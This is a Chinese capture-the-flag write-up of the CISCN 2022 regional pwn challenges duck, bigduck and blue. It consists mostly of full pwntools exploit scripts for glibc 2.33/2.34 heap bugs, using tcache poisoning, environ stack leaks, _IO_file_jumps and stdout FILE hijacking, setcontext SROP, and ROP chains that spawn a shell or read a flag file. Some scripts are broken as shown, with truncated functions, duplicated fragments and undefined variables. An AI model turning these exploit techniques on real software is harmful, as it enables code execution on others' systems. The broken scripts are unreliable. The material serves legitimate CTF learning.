ciscn 2022 华东北分区赛pwn wp 
很遗憾的是当时比赛配环境花了很长时间(换了m1的mac  环境还没装,到了比赛前一会想起来x86_64的题目肯定会多一些,所以就拿了一个全新版win10的tp,第一次体验到了在比赛的时候下载ubuntu,装vm和pwn的环境,导致浪费了很多时间。。。。)
文章分三部分首发于csdn 
 
duck 这个pwn是2.34下的,一开始拿到这个题目的时候吓了一跳(当时是第二次做2.34的glibc pwn),以为要像house of emma那样,分析下来之后感谢出题人高抬贵手。
第一种攻击方法 借助environ修改edit返回地址为rop链 第一种借助environ来覆盖ret。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from  pwn import  *from  time import  sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn'  li = lambda  x : print ('\x1b[01;38;5;214m'  + x + '\x1b[0m' ) ll = lambda  x : print ('\x1b[01;38;5;1m'  + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0  if  debug:    r = remote('192.168.166.139' , 58013 ) else :    r = process(file_name) elf = ELF(file_name) def  dbg ():    gdb.attach(r) menu = 'Choice: '  def  add ():    r.sendlineafter(menu, '1' ) def  show (index ):    r.sendlineafter(menu, '3' )     r.sendlineafter('Idx:' , str (index)) def  delete (index ):    r.sendlineafter(menu, '2' )     r.sendlineafter('Idx:' , str (index)) def  edit (index, size, content ):    r.sendlineafter(menu, '4' )     r.sendlineafter('Idx:' , str (index))     r.sendlineafter('Size:' , str (size))     r.sendafter('Content:' , content) for  i in  range (9 ):    add() for  i in  range (8 ):    delete(i) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96  li('libc_addr = '  + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12  li('heap_base = '  + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = '  + hex (libc_base)) environ = libc_base + libc.sym['environ' ] li('environ = '  + hex (environ)) for  i in  range (5 ):    add()  p1 = p64(key ^ environ) + p64(0 ) edit(1 , 0x10 , p1) add()    add()    show(15 ) stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x168  li('stack_addr = '  + hex (stack_addr)) delete(9 ) delete(10 ) edit(10 , 0x10 , p64(key ^ stack_addr) + p64(0 )) add()  add()    bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() system_addr = libc_base + libc.sym['system' ] pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;' )).__next__() p2 = p64(0 ) * 3  + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) edit(17 , 0x30 , p2) r.interactive() 
第二种攻击方法 修改_IO_file_jumps中的_IO_new_file_overflow 第二种借助puts时会调用_IO_new_file_overflow刷新缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from  pwn import  *from  time import  sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn'  li = lambda  x : print ('\x1b[01;38;5;214m'  + x + '\x1b[0m' ) ll = lambda  x : print ('\x1b[01;38;5;1m'  + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0  if  debug:    r = remote('192.168.166.139' , 58013 ) else :    r = process(file_name) elf = ELF(file_name) def  dbg ():    gdb.attach(r) menu = 'Choice: '  def  add ():    r.sendlineafter(menu, '1' ) def  show (index ):    r.sendlineafter(menu, '3' )     r.sendlineafter('Idx:' , str (index)) def  delete (index ):    r.sendlineafter(menu, '2' )     r.sendlineafter('Idx:' , str (index)) def  edit (index, size, content ):    r.sendlineafter(menu, '4' )     r.sendlineafter('Idx:' , str (index))     r.sendlineafter('Size:' , str (size))     r.sendafter('Content:' , content) for  i in  range (9 ):    add() for  i in  range (8 ):    delete(i) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96  li('libc_addr = '  + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12  li('heap_base = '  + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = '  + hex (libc_base)) _IO_file_jumps = libc_base + libc.sym['_IO_file_jumps' ] li('_IO_file_jumps = '  + hex (_IO_file_jumps)) for  i in  range (5 ):    add()  p1 = p64(key ^ _IO_file_jumps) + p64(0 ) edit(1 , 0x10 , p1) add()  add()  one = [0xda861 , 0xda864 , 0xda867 ] one_gadget = one[1 ] + libc_base edit(15 , 0x20 , p64(0 ) * 3  + p64(one_gadget)) r.interactive() 
第三种攻击方法 伪造io结构体 这种攻击方法笔者认为是最麻烦的,和house of orange很像,把/bin/sh放到头,执行vtable的函数时,FILE结构体地址被作为参数来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from  pwn import  *from  time import  sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn'  li = lambda  x : print ('\x1b[01;38;5;214m'  + x + '\x1b[0m' ) ll = lambda  x : print ('\x1b[01;38;5;1m'  + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0  if  debug:    r = remote('192.168.166.139' , 58013 ) else :    r = process(file_name) elf = ELF(file_name) def  dbg ():    gdb.attach(r) menu = 'Choice: '  def  add ():    r.sendlineafter(menu, '1' ) def  show (index ):    r.sendlineafter(menu, '3' )     r.sendlineafter('Idx:' , str (index)) def  delete (index ):    r.sendlineafter(menu, '2' )     r.sendlineafter('Idx:' , str (index)) def  edit (index, size, content ):    r.sendlineafter(menu, '4' ) add()  add()  for  i in  range (7 ):    delete(i)  delete(7 ) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96  li('libc_addr = '  + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12  li('heap_base = '  + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = '  + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] li('stdout = '  + hex (stdout)) IO_file_jumps = libc_base + libc.sym['_IO_file_jumps' ] target = key ^ IO_file_jumps li('target = '  + hex (target)) edit(6 , 0x100 , p64(target)) add()    add()    fake = p64(0 ) + p64(0 ) fake += p64(libc_base + 0x83d80 ) + p64(libc_base + 0x84750 ) fake += p64(libc_base + 0x84440 ) + p64(libc_base + 0x85520 ) fake += p64(libc_base + 0x86600 ) + p64(system_addr) delete(8 ) edit(8 , 0x8 , p64(key ^ stdout)) add() add() edit(15 , 0x10 , b'/bin/sh\x00' ) r.sendlineafter(menu, '4' ) sleep(1 ) r.sendline('13' ) sleep(1 ) r.sendline('64' ) sleep(1 ) r.sendline(fake) dbg() r.interactive() ➜  duck cat ppp.py from  pwn import  *from  time import  sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) add()  add()  add()  for  i in  range (7 ):    delete(i)  delete(7 ) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96  li('libc_addr = '  + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12  li('heap_base = '  + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = '  + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] li('stdout = '  + hex (stdout)) IO_file_jumps = libc_base + libc.sym['_IO_file_jumps' ] target = key ^ IO_file_jumps li('target = '  + hex (target)) edit(6 , 0x100 , p64(target)) add()    add()    fake = p64(0 ) + p64(0 ) fake += p64(libc_base + 0x83d80 ) + p64(libc_base + 0x84750 ) fake += p64(libc_base + 0x84440 ) + p64(libc_base + 0x85520 ) fake += p64(libc_base + 0x86600 ) + p64(system_addr) delete(8 ) edit(8 , 0x8 , p64(key ^ stdout)) add() add() edit(15 , 0x10 , b'/bin/sh\x00' ) r.sendlineafter(menu, '4' ) sleep(1 ) r.sendline('13' ) sleep(1 ) r.sendline('64' ) sleep(1 ) r.sendline(fake) r.interactive() 
另外两道pwn后面再更新,第二个bigduck最简单的就是environ这个方法只不过后面的rop链变成了orw。
bigduck 这个是2.33下的,2.33下有free_hook 和 malloc_hook。这题开启了沙盒,禁用了execvenext ()会不成功,所以笔者直接用ropgadget找的
第一种攻击方法 借助environ 和duck一样的思路,最后的rop链改成orw即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn'  li = lambda  x : print ('\x1b[01;38;5;214m'  + x + '\x1b[0m' ) ll = lambda  x : print ('\x1b[01;38;5;1m'  + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0  if  debug:    r = remote('192.168.166.139' , 58011 ) else :    r = process(file_name) elf = ELF(file_name) def  dbg ():    gdb.attach(r) menu = 'Choice: '  def  add ():    r.sendlineafter(menu, '1' ) def  show (index ):    r.sendlineafter(menu, '3' )     r.sendlineafter('Idx:' , str (index)) def  delete (index ):    r.sendlineafter(menu, '2' )     r.sendlineafter('Idx:' , str (index)) def  edit (index, size, content ):    r.sendlineafter(menu, '4' )     r.sendlineafter('Idx:' , str (index))     r.sendlineafter('Size:' , str (size))     r.sendafter('Content:' , content) for  i in  range (9 ):    add() for  i in  range (8 ):    delete(i) edit(7 , 0x10 , b'\x01' ) show(7 ) main_arena_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 1  - 96  li('main_arena_addr = '  + hex (main_arena_addr)) malloc_hook = main_arena_addr - 0x10  li('malloc_hook = '  + hex (malloc_hook)) libc = ELF('./libc.so.6' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] li('free_hook = '  + hex (free_hook)) edit(7 , 0x10 , b'\x00' ) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12  li('heap_base = '  + hex (heap_base)) environ = libc_base + libc.sym['environ' ] li('environ = '  + hex (environ)) for  i in  range (5 ):    add()  p1 = p64(key ^ environ) + p64(0 ) edit(1 , 0x10 , p1) add() add() show(15 ) stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x138  li('stack_addr = '  + hex (stack_addr)) delete(9 ) delete(10 ) edit(10 , 0x10 , p64(key ^ stack_addr) + p64(0 )) add() add() pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;' )).__next__() pop_rsi_ret = libc_base + 0x000000000002a4cf  pop_rdx_ret = 0x00000000000c7f32  + libc_base read_addr = libc_base + libc.sym['read' ] open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] flag_addr = stack_addr + 0x10  p2 = p64(0 ) * 2  p2 += b'./flag\x00\x00'  p2 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p2 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stack_addr - 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) p2 += p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(stack_addr - 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(write_addr) edit(17 , 0x100 , p2) r.interactive() 
第二种攻击方法 劫持hook为万能gadget 直接模板走就可以了,这里笔者就不说原理了,想理解原理的直接去看其他师傅关于orw的教程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn'  li = lambda  x : print ('\x1b[01;38;5;214m'  + x + '\x1b[0m' ) ll = lambda  x : print ('\x1b[01;38;5;1m'  + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0  if  debug:    r = remote('192.168.166.139' , 58011 ) else :    r = process(file_name) elf = ELF(file_name) def  dbg ():    gdb.attach(r) menu = 'Choice: '  def  add ():    r.sendlineafter(menu, '1' ) def  show (index ):    r.sendlineafter(menu, '3' )     r.sendlineafter('Idx:' , str (index)) def  delete (index ):    r.sendlineafter(menu, '2' )     r.sendlineafter('Idx:' , str (index)) def  edit (index, size, content ):    r.sendlineafter(menu, '4' )     r.sendlineafter('Idx:' , str (index))     r.sendlineafter('Size:' , str (size))     r.sendafter('Content:' , content) for  i in  range (9 ):    add() for  i in  range (8 ):    delete(i) edit(7 , 0x10 , b'\x01' ) show(7 ) main_arena_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 1  - 96  li('main_arena_addr = '  + hex (main_arena_addr)) heap_base = key << 12  li('heap_base = '  + hex (heap_base)) for  i in  range (5 ):    add()  p1 = p64(key ^ free_hook) + p64(0 ) edit(1 , 0x10 , p1) add()    add()    gadget = libc_base + 0x14a0a0  read_addr = libc_base + libc.sym['read' ] edit(15 , 0x8 , p64(gadget)) frame = SigreturnFrame() frame.rdi = 0  frame.rsi = free_hook frame.rdx = 0x200  frame.rsp = free_hook + 8  frame.rip = read_addr setcontext = libc_base + libc.sym['setcontext' ] + 61  p2 = p64(0 ) + p64(heap_base + 0x3b0 ) + p64(0 ) * 2  + p64(setcontext) + bytes (frame)[0x28 :] edit(14 , 0x100 , p2) delete(14 ) open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;' )).__next__() pop_rsi_ret = libc_base + 0x000000000002a4cf  pop_rdx_ret = 0x00000000000c7f32  + libc_base p3 = b'./flag\x00\x00'  p3 += p64(pop_rdi_ret) + p64(free_hook) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p3 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(free_hook + 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) p3 += p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(free_hook + 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(write_addr) r.send(p3) r.interactive() 
blue 开了沙盒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn'  li = lambda  x : print ('\x1b[01;38;5;214m'  + x + '\x1b[0m' ) ll = lambda  x : print ('\x1b[01;38;5;1m'  + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0  if  debug:    r = remote('192.168.166.139' , 58012 ) else :    r = process(file_name) elf = ELF(file_name) def  dbg ():    gdb.attach(r) menu = 'Choice: '  def  add (size, content ):    r.sendlineafter(menu, '1' )     r.sendlineafter('Please input size: ' , str (size))     r.sendafter('Please input content: ' , content) def  delete (index ):    r.sendlineafter(menu, '2' )     r.sendlineafter('Please input idx: ' , str (index)) def  show (index ):    r.sendlineafter(menu, '3' )     r.sendlineafter('Please input idx: ' , str (index)) for  i in  range (9 ):    add(0x80 , 'aaaa' ) add(0x80 , 'aaaa' ) for  i in  range (7 ):    delete(i) r.sendlineafter(menu, '666' ) r.sendlineafter('Please input idx: ' , '8' ) show(8 ) show_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('show_addr = '  + hex (show_addr)) libc_base = show_addr - 0x1ecbe0  libc = ELF('./libc.so.6' ) stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] li('stdout = '  + hex (stdout)) environ = libc_base + libc.sym['environ' ] li('environ = '  + hex (environ)) delete(7 ) add(0x80 , 'aaaa' )  delete(8 ) add(0x70 , 'bbbb' )  p1 = p64(0 ) + p64(0x91 ) + p64(stdout) add(0x70 , p1)  add(0x80 , 'cccc' )  p2 = p64(0xfbad1800 ) + p64(0 ) * 3  + p64(environ) + p64(environ + 8 ) * 2  add(0x80 , p2)    stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x128  li('stack_addr = '  + hex (stack_addr)) delete(3 ) delete(2 ) p3 = p64(0 ) + p64(0x91 ) + p64(stack_addr) add(0x70 , p3) add(0x80 , 'dddd' )  read_addr = libc_base + libc.sym['read' ] open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x0000000000023b6a  pop_rsi_ret = libc_base +0x000000000002601f  pop_rdx_ret = 0x0000000000142c92  + libc_base flag_addr = stack_addr ppp = stack_addr + 0x200  p4 = b'./flag\x00\x00'  p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p4 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) puts_addr = libc_base + libc.sym['puts' ] p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr) add(0x80 , p4) r.interactive() 
这一题肯定不止这一种方法,也可以攻击_rtld_global 这个结构体,将stdout里面的vtable劫持一下,orw链放到该放的地方,然后触发即可。比借助environ这个方法麻烦一点,笔者这一题就不再深挖了(glibc这种pwn笔者不想陷得太深,看到有意思的题目学习一下就行了)